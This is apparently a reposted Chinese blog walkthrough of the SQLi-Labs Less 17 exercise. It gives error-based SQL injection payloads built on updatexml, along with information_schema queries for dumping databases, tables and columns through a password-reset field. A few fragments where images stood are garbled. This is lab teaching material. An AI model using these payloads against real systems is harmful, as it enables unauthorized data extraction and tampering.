顯錯注入,SQLi LABS Less 17 報錯注入

 2023-10-08 阅读 30 评论 0

摘要:第十七關單引號字符型注入 ,推薦使用報錯注入。 一、功能分析 這關是一個修改密碼的功能,先查詢用戶名是否正確。 如果用戶名正確,后臺就修改密碼,并提示修改成功;如果用戶名錯誤,頁面就直接返回修改失敗; 二、思路分析 顯錯

第十七關單引號字符型注入 ,推薦使用報錯注入。

一、功能分析

這關是一個修改密碼的功能,先查詢用戶名是否正確。

  • 如果用戶名正確,后臺就修改密碼,并提示修改成功;
  • 如果用戶名錯誤,頁面就直接返回修改失敗;

二、思路分析

顯錯注入?用戶名被過濾,注入點在密碼處,這意味著我們需要事先知道一個正確的用戶名(盲猜 admin)。

用戶名正確的前提下:

  1. 密碼攜帶單引號,頁面顯示數據庫的報錯信息,適合報錯注入。
  2. 萬能密碼登錄成功,頁面不動態顯示查詢結果(返回寫死的圖片),不適合聯合注入。

三、解題步驟

方式一:報錯注入

參考文章:報錯注入使用詳解,原理+步驟+實戰教程

第一步、判斷注入點

用戶名輸入:admin

密碼輸入:a'

報錯注入條件?

頁面顯示數據庫的報錯信息,分析可知,注入點為單引號字符型注入。

第二步、判斷報錯條件

用戶名輸入:admin

密碼輸入:a' and updatexml(1,0x7e,3) -- a

error building sqlsession??頁面顯示報錯函數的內容,確定報錯注入可用。

第三步、脫庫

獲取當前使用的數據庫,用戶名輸入:admin

密碼輸入:

a' and updatexml(1,concat(0x7e,substr((database()),1,32))
,3) -- a

執行結果:

sqlerrorcodes loaded?其余脫庫操作時,將下圖圈中的 部分替換成SQL語句即可:

?

?常用的脫庫語句:

# 獲取所有數據庫
select group_concat(schema_name)
from information_schema.schemata# 獲取 security 庫的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"# 獲取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://hbdhgg.com/4/129466.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 匯編語言學習筆記 Inc. 保留所有权利。

底部版权信息